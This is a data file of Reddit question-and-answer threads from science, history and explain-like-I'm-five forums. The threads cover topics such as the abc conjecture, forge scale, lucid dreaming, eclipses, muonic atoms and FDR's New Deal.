{"q_id": "zpoen", "title": "What is the abc conjecture? And what would it mean if it were solved?", "selftext": "A Japanese mathematician has published a proof for the [abc conjecture](_URL_0_). What is the abc conjecture? What would it mean for it to be solved? And does anyone have any thoughts on this latest proof?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/zpoen/what_is_the_abc_conjecture_and_what_would_it_mean/", "answers": {"a_id": ["c66pm8i", "c66v59i", "c66xx25"], "score": [17, 10, 4], "text": ["I have no answer, but I have some references for those who can give one:\n\n1. _URL_1_\n2. _URL_2_\n\nAfter reading [Terry Tao's comment](_URL_0_) I feel like smart Labrator retriever who tries to understand why people watch TV. I know there is something really amazing going on, but I will never be part of it.  ", "[Steven Landsburg](_URL_0_) has a good answer aimed at non-mathematicians.", "The abc conjecture is a long-unsolved conjecture in number theory. [Wikipedia](_URL_0_) gives a better overview of the statement than I can. At heart, it says that if a,b and c=a+b have no common factors then the product abc rarely has many repeated factors. For varied and complicated reasons, many very important theorems and conjectures in number theory follow from the abc conjecture, so a proof of abc would be a huge deal.\n\nAs for the purported proof, it uses a lot of new techniques invented by the author and is very inaccessible to all but the most advanced reader. It is spread out over the course of 4 papers, which simultaneously build up the theory he uses to attack the conjecture, called Inter-Universal Teichmuller Theory. As a result, other mathematicians are having to work very hard to try to understand and verify it. I only made it through prop. 1.1 in his first paper. An overview of the ideas behind the proof can be found on [Mathoverflow](_URL_1_), a site for research-level math questions, but I cannot understand the answers there. They are probably only useful to an advanced graduate student or professor in analytic number theory."]}, "title_urls": [], "selftext_urls": ["http://www.nature.com/news/proof-claimed-for-deep-connection-between-primes-1.11378"], "answers_urls": [["https://quomodocumque.wordpress.com/2012/09/03/mochizuki-on-abc/#comment-10506", "https://quomodocumque.wordpress.com/2012/09/03/mochizuki-on-abc/", "http://mathoverflow.net/questions/106560/what-is-the-underlying-vision-that-mochizuki-pursued-when-trying-to-prove-the-abc/"], ["http://www.thebigquestions.com/2010/05/11/the-abcs-of-arithmetic/"], ["http://en.wikipedia.org/wiki/Abc_conjecture", "http://mathoverflow.net/questions/106560/what-is-the-underlying-vision-that-mochizuki-pursued-when-trying-to-prove-the-abc/"]]}
{"q_id": "tpszj", "title": "when writing a number in a sentence, when should i write it as a number and when should i write it as a word?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/tpszj/eli5_when_writing_a_number_in_a_sentence_when/", "answers": {"a_id": ["c4oog0v", "c4ooijc", "c4oot0r", "c4oplw4", "c4opwl3", "c4oq0v8", "c4oq4n7", "c4oqq6i", "c4osbt7"], "score": [2, 204, 334, 2, 6, 16, 25, 18, 26], "text": ["If it is zero through nine, you have to write it out. Anything over is as a number.", "It depends largely on the context of writing.\n\nIn academic writing, you should write out the numbers one through nine. It may also be appropriate to write out the numbers one through twelve. Once you get into teens and up, use numerals.\n\nIf you're writing a book for popular consumption, you should always write the number as a word.\n\nIn letters, emails, and other informal writing scenarios, when writing simply to communicate, there isn't really a standard, per se. However, with \"one\", unless you are speaking about the actual number, you should use the word. e.g. \"One time, I saw a ghost.\" not \"1 time, I saw a ghost.\" \"One\" isn't really acting as a number in this case.\n\nIn all cases, when writing a sentence, start the sentence with a word, not a numeral. \"Thirty of us went down to the lake\" as opposed to \"30 of us went down to the lake.\" Keep in mind that when doing this, it's usually best to finish the sentence using words rather than numerals. \"Thirty of us went down to the lake on 15 tandem bicycles\" looks strange.\n\nExceptions: dates, times, and equations or other mathmatic expressions. You can almost always use numerals. Just don't start a sentence with a date, time, or math.", "One digit -- >  write it out                                                     \nTwo or more digits -- >  write the numerical form           \n\nIf it is a math problem, always use numerical form.", "Editor of a small magazine, here. In our style guide we chose numbers under 13 to be written out obliquely. Some newspapers publish their style guides either free online, or as books you can buy.", "I'm a historian (PhD student) and in the Chicago Style Manual, we are told:\n\n**Chicago (9.2-4, 9.8):**\n\nSpell out whole numbers up to (and including) one hundred (e.g., zero, one, ten, ninety-six, 104).\n\n Spell out whole numbers up to (and including) one hundred when followed by \"hundred,\" \"thousand,\" \"hundred thousand,\" \"million,\" \"billion,\" and so on (e.g., eight hundred, 12,908, three hundred thousand, twenty-seven trillion).\n    \n\n", "Why is this eli5?", "Approximately 56 redditors don't read the sidebar for what belongs in r/explainlikeimfive and what belongs in r/answers or r/grammar, but fifty of them post here anyway", "According to the Chicago Manual of Style, in nonscientific writing numbers under 100 should be written out.\n\nSome exceptions:\n\n* ages should always be written as a number\n* dates and times should be numbers\n* If you first reference a number over 100, then a smaller number of the same thing (ex: Of the 144 apples, 12 were bad.)\n* decimals and fractions should be numbers unless there is an easy way to express it (two and a half vs. 2 1/2)\n\nThere is an entire section of the manual related to numbers, so not everything is included here.\n", "ELI5 is for explaining complicated concepts in easy to understand ways. If you just want a simple answer for something, go to /r/answers, but please don't spam this subreddit with questions such as these, which are easily, and much more quickly, found by [Googling your exact question](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://www.google.com/search?rlz=1C1_____enUS472US472&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=When+writing+a+number+in+a+sentence,+when+should+I+write+it+as+a+number+and+when+should+I+write+it+as+a+word%3F&amp;safe=active"]]}
{"q_id": "bvvdjr", "title": "When people forge metal and parts flake off, what's actually happening to the metal?", "selftext": "Are the flakes impurities?  Or is it lost material?  And why is it coming off in flakes?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bvvdjr/when_people_forge_metal_and_parts_flake_off_whats/", "answers": {"a_id": ["epsvlc8", "epsvwy6", "epsy4cn", "epszorx", "ept3ayh", "eptggrr", "eptx4i7", "epu4l0i", "epu8hl9", "epuyua3", "epv6k1t"], "score": [9, 3254, 409, 103, 10, 44, 3, 13, 4, 4, 10], "text": ["It could be both impurities (slag) being drawn to the outside of the metal as it heats up, but there can also be lost material in the form of \"flash\" which is metal that did not form correctly for one reason or another (not enough lubrication, not enough space when dies/tooling are incorrectly engineered or put together).     \nTL;DR - During heating, impurities. During forging, lubrication or tooling.    \nSource - Electrician at an AAM Metal Forming plant.", "I'm just an amateur blacksmith, not a materials scientist, but it is my understanding that scale -- what we call the \"flakes\" you're talking about that come off when you hammer a piece -- is a layer of rapidly oxidizing iron on the surface layer of the piece that you shatter and flake off when you hit it with the hammer.", "Because the metal is at a high temperature oxygen diffuses rapidly into the metal, which forms various iron oxides (FeO, Fe2O3, etc.; You can look at the phase diagram to see which phases form). This layer is not that strong and little pieces fall off during forging.\n\nTL;DR It's rust/lost material\n\nSource: Chemistry student", "When iron is heated, it\u2019s microstructure (its \u2018lattice\u2019) changes which allows for the rapid diffusion of various elements within. When introduced to oxygen, it creates iron oxide (in this case, hammerscale). There are several different types of hammerscale, not all of which is flaky. Spheroidal hammerscale can be produced through bloomsmithing, while flake scale usually comes from later stages of iron processing. \n\nI am under the impression that the reason it takes the flaky form, is due to the shape of the metal. A bar, for example is flat, and thus a thin layer of rapid oxidation on the surface takes a similar shape. When you brush or hammer, this thin layer of brittle oxide breaks into smaller flakes. Spheroid scale then, is produced while the iron bloom is relatively amorphous.\n\nIn archaeological contexts this is very useful to know as it gives us an indication of what the area might have been used for.\n\nThis material can be forged back into the metal if you\u2019re not careful and keep your piece clean. This can introduce brittleness.\n\nEdit: the change of lattice also supports the absorption of carbon. This is a process known as carburization. This was one of the ways the ancients were able to produce steel from bloomery iron. \n\nSource: archaeometallurgist", "Mechanical engineer here. When a hot piece of typical steel is cooling the outer surface undergoes rapid oxidisation. That\u2019s the primary cause of the flaking.\n\nIt\u2019s part of the reason metals are often worked cold nowadays, even though it\u2019s more energy intensive.", "Welding engineer here:  \n\n\nYou are witnessing scale commonly called mill scale. But lets break down the phenomenon.  \n\n\nEvery metal loves oxygen and wants to trade up those metallic bonds for oxygen bonds. On a very slow time scale we call this rust or tarnishing or more generally oxidation. \n\n & #x200B;\n\n  As things heat up the ability for oxygen to bond to metals increase. We call this the diffusion rate. For example salt will dissolve much faster into water if it's rapidly boiling than if it's frozen solid.      When metal gets hot up to forging temperatures the ability to oxidize goes from days or weeks to seconds.\n\nwrought iron and steel, the traditional forged materials are special in that the iron and other elements that bond to oxygen are extremely brittle and have no mechanical properties much like a really rusty piece of iron.  So when exposed to air at forging temperatures it grows a skin of iron oxide, and actions like beating it with a hammer or bending it tend to cause it to flake off, since it's very brittle and fragile. \n\n & #x200B;\n\nOverall there's no danger to this process, it loses a little weight but nothing significant and as long as the metal is not folded over for the scale to end up back into the middle it doesn't really effect mechanical properties. It also acts as an insulator. In the end it's desirable in some processes but since it usually has to be removed before the piece is used  it's generally not desirable for precision applications which is why a lot of thin metal is \"cold rolled\" which means the shaping activities are done at a much lower temperature where oxidation doesn't happen.    \n\n\nWhile not unique to steel it doesn't happen to all metals, aluminum for example it's oxide layer is incredibly durable and tough and also grows very quickly such that it can't really be removed unless you're in an environment with no oxygen. Same for things like Gold.  \n\n & #x200B;\n\nAlso the diffusion rate for every metal when liquid is basically instantaneous on the order of micro seconds. exposure of liquid metal to air turns most of them into unusuable chunks of metal sponges with unusable material properties so in things like welding or refining inert atmospheres are created in various ways.", "Nowadays, oxidised metal mostly, but....\n\n & #x200B;\n\nIn ye olden dayes, before Henry Bessemer invented his converter, they didn't know the exact science of making steel. Iron was produced as 'sponge iron' as a  'bloom' in a bloomery. The bloom was hammered and reheated repeatedly to remove the impurities, which were mostly carbon/graphite from the coke or charcoal fuel. This turned it into wrought iron. Cast iron came along later, but that was brittle, due to the slag inclusions, caused by melting the iron in direct contact with the coke fuel.\n\n & #x200B;\n\nThere a program on the BBC iPlayer, '[How it Works- Metal](_URL_0_)' if you can get it, which briefly describes the development.\n\nThey stopped producing wrought iron in the UK in the early 1970s and many blacksmiths then shut down. The decorative 'wrought ironwork' you can buy is almost invariably mild steel, which is cheaper but harder to work manually.", "I'm an amateur machinist, foundryman, welder, blacksmith and got a chemistry degree back in the day.\n\nWhat we think of as rust consists of hydrated iron oxides Fe2O3\u00b7nH2O.  And since there is water from the combustion byproducts of a forge, some of the scale will be actual rust.  One of the interesting aspects of rust is that as the iron oxidizes, it's size, molecular shape, chemical and physical attributes all change.  There are several forms of iron oxide, but in general, rust is bigger than the iron it is made from (at the molecular level) so it can't stay aligned and bonded to the underlying iron very well.  That's why it's weak and flakes off your fender and makes more room for more rust to form.  \n\nBy comparison, aluminum oxide is virtually the same size as the parent aluminum.  So the aluminum oxide that forms on the surface of bare aluminum is tough, perhaps tougher than the aluminum itself, and well bonded to the underlying metal.  That's why aluminum doesn't \"rust\" even though it does oxidize readily.  \n\nPretty accessible article on wiki:\n\n [_URL_0_](_URL_1_)", "The part that flakes off is generally formed by oxides that cover the metal's surface. Most metals have a oxide surface due to contact with air. Oxidization process incrises with the temperature and it may form a deeper layer of oxides. During the forging, that layer may detach.", "It's called scale. Basically super rust from the oxygen and heat in the fire. It is considered lost material, for certain projects, blacksmiths will need to factor that loss into how much stock they need to start with.", "What flakes off is the oxide layer at the surface. Most metals, especially when heated, form what's known as a passivation layer on their surface, a thin layer of oxide that stops further oxidation. It's the reason why you can actually use metals like aluminium or magnesium in industrial applications, despite them being actually quite easy to oxidize. \n\nSo why is it flaking? Because most oxides don't have the ductility of a metal because they don't have the electron gas any more, and with that lost almost all the properties of metals and instead are closer to ceramics in properties. Most of the time when you see forging, you're seeing one specific metal, iron, whose oxide layers are especially prone to flaking because they increase in volume a lot compared to the iron they formed from (the same reason why you have rust flaking off rusty sheet metal)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], ["https://www.bbc.co.uk/iplayer/episode/b01fkc5n/how-it-works-1-metal"], ["https://en.wikipedia.org/wiki/Iron(III)\\_oxide", "https://en.wikipedia.org/wiki/Iron(III)_oxide"], [], [], []]}
{"q_id": "5tolx4", "title": "tourqe", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tolx4/eli5_tourqe/", "answers": {"a_id": ["ddnwgsp"], "score": [2], "text": ["torque is rotational force applied on a lever.  that rotational force is what pushes the wheel, which is what pushes the vehicle forward.\n\nthe measure of torque is the measure of how quickly you can accelerate the vehicle forward.  \n\n\nin motorcycle,  torque is how quick you can accelerate.  hp is how fast you'll be going when you hit the wall.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4ji6e8", "title": "is it possible to know you're asleep in a dream?", "selftext": "For example, in a nightmare for instance, is it possible for you to realise that you're dreaming?\n\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ji6e8/eli5_is_it_possible_to_know_youre_asleep_in_a/", "answers": {"a_id": ["d36rpus", "d36u8hq", "d36xp4l", "d36ydoa", "d375cj6", "d375j94"], "score": [4, 12, 3, 2, 2, 3], "text": ["Yes, sometimes.  It's called lucid dreaming, and some people claim to be able to do it more or less consistently with practice.  Turns your nights into epic fantasy, they say. Sort of like Inception.", "I have realized I was dreaming, it's actually happened a lot.\n\nJust last week I had a dream that I was home alone with the baby and my fiancee had left our truck at her work.  We needed to go somewhere and I was pissed that I had to walk with the baby a couple miles to get the truck.  Like really pissed and frustrated.  Then I thought \"Nah I don't have to do shit, I'm dreaming\". I woke up right after that.  It was strange.", "I have a recurring lucid dream experience, that I get about 2-3 times a week. Basically it's the exact same as me waking up. I'm lounging in bed, playing with my phone, petting my dog, etc. It's not until I start to wonder what time it is that I realize something is wrong. I look at my phone for the time, and I can't comprehend the numbers (that part of the brain remains asleep during lucidity). So basically at that point I just go siiiiiigh, not again...", "As others have said, it's called lucid dreaming and there is no supposedly to it. Over the years I've found the most reliable way to kick start lucidity is to write whatever you can recall of your dreams down every single morning.\n\nThe first day could be a sentence, the next two, the third back to one. Eventually, much quicker than you will expect, you'll be filling up pages and begin lucid dreaming. I've done this for years and found that whenever I stop, starting this process brings lucidity back.", "Much of what Carlos Castaneda wrote about (whether you like his stuff or think it's bullshit) had to do with this. Check out \"Art of Dreaming,\" it has a pretty thorough breakdown of the techniques he was taught. Supposedly if you can observe yourself sleeping in your dream, you're really onto something...it's tied to the notion that our waking reality is just a 'concrete dream' we all agree to for survival's sake, and when we dream our mind isn't \"making movies,\" rather it's simply free to form another reality that we get to look in on. Like the tree falling in the woods thing, it doesn't make a sound unless something hears it, the world doesn't exist without consciousness (animals, us, bugs, whatever) to 'create' it by existing in it...whether that's the 'waking world' or a dream.\n\nEver have a dream where you move funny, like you roll down the street instead of walking, weird shit like that? Or it's a dream in your hometown but it's much bigger, spread out, a giant downtown area - yet in the dream it IS your hometown, no doubt about it? Some think that you're essentially peering in on another reality that actually exists because your mind is there to help it exist. And in lucid dreaming, your mind isn't just winging it - you're consciously controlling how and what it creates in that particular 'world' you're walking around in. I admit it's spacey stuff, but it's cool to think about...\n\nPersonally I've only had a few lucid dreams in my life. And no control in them - as soon as I knew it was a dream I woke up. Sucks...", "Definitely. I sometimes have lucid dreams, and they can be very lucid. In one dream I was so lucid that I said to someone in the dream, \"This is a dream, and I'm upstairs in bed right now, dreaming this,\" and I pointed to were my bedroom actually is in the house. I was virtually completely conscious (pun intended).\n\nI've learned that I can remain in a lucid dream as long as I like, but only if I don't deliberately try to alter the dream. I just go along with it as though I weren't lucid, and watch what happens, almost as though it were a movie. They're usually very satisfying dreams."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "lybjx", "title": "How hard would it be to go back to 8th Century Europe and construct a fully automatic firearm and ammunition with only modern schematics and materials available at the time?", "selftext": "To specify, I was thinking something along the lines of a Sten gun.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lybjx/how_hard_would_it_be_to_go_back_to_8th_century/", "answers": {"a_id": ["c2wn5ey", "c2wn5ey"], "score": [2, 2], "text": ["The only problem you would face would be acquiring material.  Steel was *expensive* in the 8th century; plate steel especially so.\n\nIt wasn't until the 14th century that plate armor became a possibility, and until the 15th that it became common.  There was a lot of infrastructure and manpower needed; steelmaking was a done-at-home process.  You traded for iron in raw chunks and seasoned it in your forge flue.  Then you hammered it, by hand, over and over (and over and over) until it homogenized and bound up the carbon.\n\nIt took large economies to build the watermill powered triphammers that made plate really common.\n\nOnce you had your raw materials, boring the barrel and rifling it are fairly easy.  It can be done with wooden machines (and was done that way until Colonial times).  Forming plate with a small drill and file is tedious but not particularly hard.\n\nYour hardest job will be sourcing chemicals for your caps, milling the chamber accurately, and forming the brass cartridges.  Thin brass is non-existent and the measurements fairly critical for full automatic.  A rolling-block style breechloader would be *much* simpler, and still faster, more accurate, and more lethal than anything you'd face until the Civil War.\n\nArm a few hundred men with them, lay in enough powder and shot, and you'd wipe out whole armies if you had even a reasonable amount of tactical sense.", "The only problem you would face would be acquiring material.  Steel was *expensive* in the 8th century; plate steel especially so.\n\nIt wasn't until the 14th century that plate armor became a possibility, and until the 15th that it became common.  There was a lot of infrastructure and manpower needed; steelmaking was a done-at-home process.  You traded for iron in raw chunks and seasoned it in your forge flue.  Then you hammered it, by hand, over and over (and over and over) until it homogenized and bound up the carbon.\n\nIt took large economies to build the watermill powered triphammers that made plate really common.\n\nOnce you had your raw materials, boring the barrel and rifling it are fairly easy.  It can be done with wooden machines (and was done that way until Colonial times).  Forming plate with a small drill and file is tedious but not particularly hard.\n\nYour hardest job will be sourcing chemicals for your caps, milling the chamber accurately, and forming the brass cartridges.  Thin brass is non-existent and the measurements fairly critical for full automatic.  A rolling-block style breechloader would be *much* simpler, and still faster, more accurate, and more lethal than anything you'd face until the Civil War.\n\nArm a few hundred men with them, lay in enough powder and shot, and you'd wipe out whole armies if you had even a reasonable amount of tactical sense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1fsb7y", "title": "I've read a bit about the Roman grain dole in here. How did the mechanics of it work?", "selftext": "Was there a minimum income (like modern welfare)?  How was it distributed?  Who came up with the idea?  And finally, was there a contemporary backlash against it (again like modern welfare)?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fsb7y/ive_read_a_bit_about_the_roman_grain_dole_in_here/", "answers": {"a_id": ["cadhd59"], "score": [4], "text": ["Paul Erdkamp's *The Grain Market in the Roman Empire*  discusses the nature of the grain dole, or *frumentationes*.  Gaius Gracchus, a populist politician, started what would become the grain dole in his grain law of 123 BC.  Although originally intended to feed Roman armies, politicians realized they could garner public popularity by extending the distribution of cheap grain. Erdkamp mentions nothing indicating that the dole was used to alleviate food crises or poverty in particular.\n\nI'm open to correction; all I have on hand is barely adequate paper I wrote last semester over that book."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cearrf", "title": "why do people say that some astronomical events are one in a lifetime when they seem to happen frequently?", "selftext": "For example, when an eclipse is supposed to happen, people tend to say that it's an once in a lifetime opportunity and that this won't happen again for at least 67 years... And then, it happens again the next month, the month after that, it keeps happening. This doesn't apply only to astronomical events, but it's probably the biggest example.\n\nI don't understand. Are these just unpredictable events with an inconsistent frequency? Are people just spreading fake news and/or being alarmists? Thanks in advance!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cearrf/eli5_why_do_people_say_that_some_astronomical/", "answers": {"a_id": ["eu0zfdu", "eu10i6a", "eu11lya", "eu1239j"], "score": [10, 2, 15, 3], "text": ["You are mistaken. There are different types of eclipses that you are confusing as the same thing, when they say a certain type will not happen again in said number years, they are correct. They know now exactly when events will happen years ago.", "Events like eclipses (both solar and lunar) actually happen quite often. The next total solar eclipse will occur in 2024, but isn\u2019t just for the United States (it includes Mexico and Canada). It\u2019s actually quite amazing that total solar eclipses happen at all. The marvel of the size of the sun + the size of the moon + the distance between them + the distance between us = an amazing.\n\nHaley\u2019s Comet is one that most people will literally only see once in their lifetime. With a 75 yr orbit there is a small window of folks who will only see it once (like my daughter). I\u2019m 37 so there is a good chance I\u2019ll make it to the next one in 2061.", "There were 239 solar eclipses  in the 20th century, so it might feell that a solar eclipse is not so much a once in a life time but a twice a year type of event.\n\nHowever only 62 of those were total eclipses.\n\nHowever those are distribute across the globe and not visible everywhere.\n\nIf you for example live in New York City and want to see a total solar eclipse in your lifetime, you would either have to be born before 1925 or live past 2079. No solar eclipses were visible from New York between those days not even partial ones.\n\nIn fact since New York was founded there were only three solar eclipses visible from the city and the first two in 1791 and 1838 were ones where the moon was so lose to earth that it didn't fully cover the sun even when it was directly in front of it.\n\nIf you are willing to travel you can of course see more than one of them in a lifetime, but if you are not that mobile you might not experience a single one in your entire life.", "A lot of them are things like \"Mars hasn't been this close since xxxx\" which, while true, doesn't mean anything to most people. It's just a trivia fact. These get intersprused with other events which are less rare but more impactful, but which get sexed up with baseball style stats (e.g. Total solar eclipses happen at least once every few years, but they only happen in a given location once every like hundred years or so)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "47hxqp", "title": "Do we know what Normandy was before it was Normandy?", "selftext": "Before Normandy was given to Rollo, do we know what Normandy was called? Who it was ruled by? What their House and lineage were? What happened to them when their lands were given to Rollo? \n\nThank you", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/47hxqp/do_we_know_what_normandy_was_before_it_was/", "answers": {"a_id": ["d0dgh6y"], "score": [5], "text": [" > Who was it ruled by? \n\nIn prehistory, we have evidence that there were humans living in modern day Normandy. After that, the Celts and Gauls had control of Normandy, before being conquered in the Gallic Wars. At this point, Normandy is now romanized.\n\nIn the late third century, we have evidence of barbarian tribes raiding Normandy. Coastal settlements of Normandy in particular were in danger of Saxon raids. \n\nNear 486, Clovis I, ruler of the Franks, conquered Normandy. Around 790, the Vikings started their raids on Normandy and at that point you apparently know.\n\n > What was their House?\n\nThe Celtic Tribes who ruled were numerous, the list is easily accessible. Normandy was incorporated into Rome by Augustus, of the Julio-Claudian Dynasty. Clovis I, of the Franks, belonged to the Merivingian Dynasty. \n\n > What was it called?\n\nThe Romans considered it part of Brittany until Diocletian detached it, while Brittany itself was a region of the province Gallia Lugdunensis. The Franks considered it part of Neustria, the name for their Western territory.\n\n > What happened to them?\n\nWell the Gauls were conquered and by the time Clovis I took it from Rome, it was almost gone anyways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ajo4ns", "title": "what's the difference between a muonic atom and an electronic atom?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ajo4ns/eli5_whats_the_difference_between_a_muonic_atom/", "answers": {"a_id": ["eex398j", "eex3db1", "eexlg29", "eexnak4"], "score": [10, 61, 14, 2], "text": ["Atoms consists of a positively charged nucleus and a negatively chaged electron . Muon is a subatomic particle which can be positive or negative . If we substitute the electron in a hydrogen atom with negative muon we get a muonic hydrogen atom", "Muons are particals that function like electrons, but where electrons ha e almost immeasurably small mass, muons have a bigger mass that is clearly measurable. It's still a stupid small number though and really hard to write.\n\nAnyway, a muonic atom has muons where one or more of it's electrons should be, so it winds up heavier overall.\n\nThey're pretty rare though.", "There's one interesting aspect I haven't seen mentioned. If you remember enough of your high school chemistry class, you probably remember learning the Pauli Exclusion Principle - when electrons take their places around the nucleus of an atom, they show up in pairs, and always with opposing spins. Each slot around the electron, called an orbital, fills with one pair of electrons, and no more can fit because no two can have the same quantum numbers. Muons can slide in as extra members of the same slot, though, because they have different numbers by default, so they don't really \"notice\" the electrons and just go wherever they want, but they have identical charges so are still attracted to the nucleus.\n\nYou might be thinking that this could have all kinds of cool implications for chemistry, and you would've been right, but muons live for a *very* short time - on average, their lifetime is only around 2 microseconds. That's actually a long time for a particle, but not enough to use for any chemical applications that I know of. There's a lower-energy configuration that can conserve the quantum numbers of a muon, and if a particle has that opportunity, it'll take it. The only reason electrons don't do this too is that no lower-energy options conserve their charge.", "Muons way a lot more and are larger than electrons. Also they decay very quickly into an electron and some neutral particles. So not much besides that. You can even have atoms that have muons replacing electrons and those will be stable until the muon decays."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "21wvhi", "title": "What works prepared the public consciousness of Victorian England to so quickly latch onto Mary Shelly's *Frankenstein*?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/21wvhi/what_works_prepared_the_public_consciousness_of/", "answers": {"a_id": ["cghgm4e"], "score": [4], "text": ["Can you clarify your question? Particularly, why Victorian England? Frankenstein was published in 1818 originally (the first edition, anyway, often considered the more cheerful version), and in 1831 for its final revised edition (the depressing one). That makes Shelley's novel a predecessor of the Victorian period. Are you referring to a particular revival of interest in Shelley's novel? Or did you mean when it was published? \n\n**EDIT**: dates are hard to math."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2xamez", "title": "India vs. Pakistan", "selftext": "Why do the Countries of India and Pakistan have such a deep hatred for one another? What is the history be hind this? Was there conflict between the peoples before the split? I apologize for my ignorance.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2xamez/india_vs_pakistan/", "answers": {"a_id": ["coyn3kh"], "score": [2], "text": ["The two countries were united for a time during British colonial rule, but after the Second World War when the UK started granting independence on a wide scale, British India was split up to reflect the *religious diversity* that existed and still exists. \n\n[Religious Map of British India - 1909](_URL_0_)\n\nOther factors played into the split, such as slightly *different cultural and ethnic backgrounds*. The reason such animosity exists today was largely because of the *violent partition* and also the *border disputes* that followed shortly after, notably in the Kashmir region which is claimed by both countries but in reality China, India, and Pakistan all administrate their own bit.\n\nIn conclusion, it's a whole lot of reasons. Before the British came to colonise India, the whole region was even less united than it is now and was host to a large variety of countries."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/2/2c/India_religion_map_1909_en.jpg"]]}
{"q_id": "14stev", "title": "Last night I slept in a lofted bed, and I felt like I could sense that I was higher than normal off the ground, even with my eyes closed.  How does this work?", "selftext": "I assume it has something to do with auditory signaling, but even when I sleep in my normal, full sized bed I can sense when I'm close to the edge of the bed without seeing it. If it is through sound, does it continue while we are asleep?  I feel like it would be a way to prevent rolling off some high place while asleep, I was just wondering what the scientific explanation is.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14stev/last_night_i_slept_in_a_lofted_bed_and_i_felt/", "answers": {"a_id": ["c7g3e67"], "score": [3], "text": ["because you knew you were and your brain filled in the rest"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ufft6", "title": "What was FDR's opinion on welfare?", "selftext": "His presidency was the start of the New Deal, my understanding is that he set up the basis for the welfare system in the Unites States. My friend and I were talking about this the other day and he mentioned a quote from FDR that sounded to be anti-welfare. I looked up the speech, and he sounds like he passed the New Deal, despite being opposed to the idea of a welfare state. Why did he create the New Deal and what was his long term plan for welfare in the United States? \n\nThe quote:\n\"The lessons of history, confirmed by the evidence immediately before me, show conclusively that continued dependence upon relief induces a spiritual and moral disintegration fundamentally destructive to the national fibre. To dole out relief in this way is to administer a narcotic, a subtle destroyer of the human spirit. It is inimical to the dictates of sound policy. It is in violation of the traditions of America. Work must be found for able-bodied but destitute workers.\"\n\n[1935 Message to Congress](_URL_0_)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ufft6/what_was_fdrs_opinion_on_welfare/", "answers": {"a_id": ["co7wsjy"], "score": [6], "text": ["In reality, FDR was doing everything possible to provide help to people who needed it without fueling the perception that people were somehow livin' high off the government hog. This is a critical point which I think helps contextualize both your quote and question.\n\nWhen FDR comes into office, he's in the midst of a complete financial and economic collapse. His first 100 days in office are critical. He's basically doing two things. Trying to stop the bleeding (announcing a Bank Holiday) and put people back to work. This is where the alphabet soup programs get going (PWA, NRA, TVA, and many others). Some people criticize these projects as \"ditch digging\" but they actually accomplish a ton in building new roads, schools, parks, and airports. The financial system was outdated and needed reform. But more than that, people were struggling to get by (see the 1932 Bonus Army March, for instance). Some fixes are clear and obvious, but with other stuff he's simply throwing it against the wall to see what sticks. Many of his initial reforms are thrown out by the Supreme Court.\n\nAs far as a \"long term plan\" for welfare, I think FDR was more concerned with social security than unemployment benefits, per se. The Social Security Act is passed in 1935. It's a true life saver for the people who needed it. You can find photographs of people living in \"Hooverville\" style camps with their new social security numbers tattooed on their arm. But still, people at the time criticized the act as enabling free loading, so Roosevelt needed to combat this idea in his public appearances and fireside chats.   \n\nStill, FDR was criticized by many for leading the country into deeper debt and giving money to people some thought were simply lazy and shiftless. People called him a \"traitor to his class,\" meaning he had somehow turned against his wealthy, elite background and upbringing. In oral histories, however, people who lived through these experiences sometimes share the notion that FDR basically prevented this country from entering into a period of violent revolution. \n\nBecause of this context, in basically every speech then, including the one you quote, FDR is trying to frame New Deal programs as anything BUT welfare. Work programs, retirement savings, you name it. Even though what desperately needs to happen to save the economic is to pump more money into it, the rich in this country have a powerful fear of giving \"free money\" to the poor. \n\nA relatively new book called The New New Deal by Michael Grunwald goes further into unpacking the analogies between the responses to the Great Depression and the present day situation."]}, "title_urls": [], "selftext_urls": ["http://www.presidency.ucsb.edu/ws/?pid=14890"], "answers_urls": [[]]}
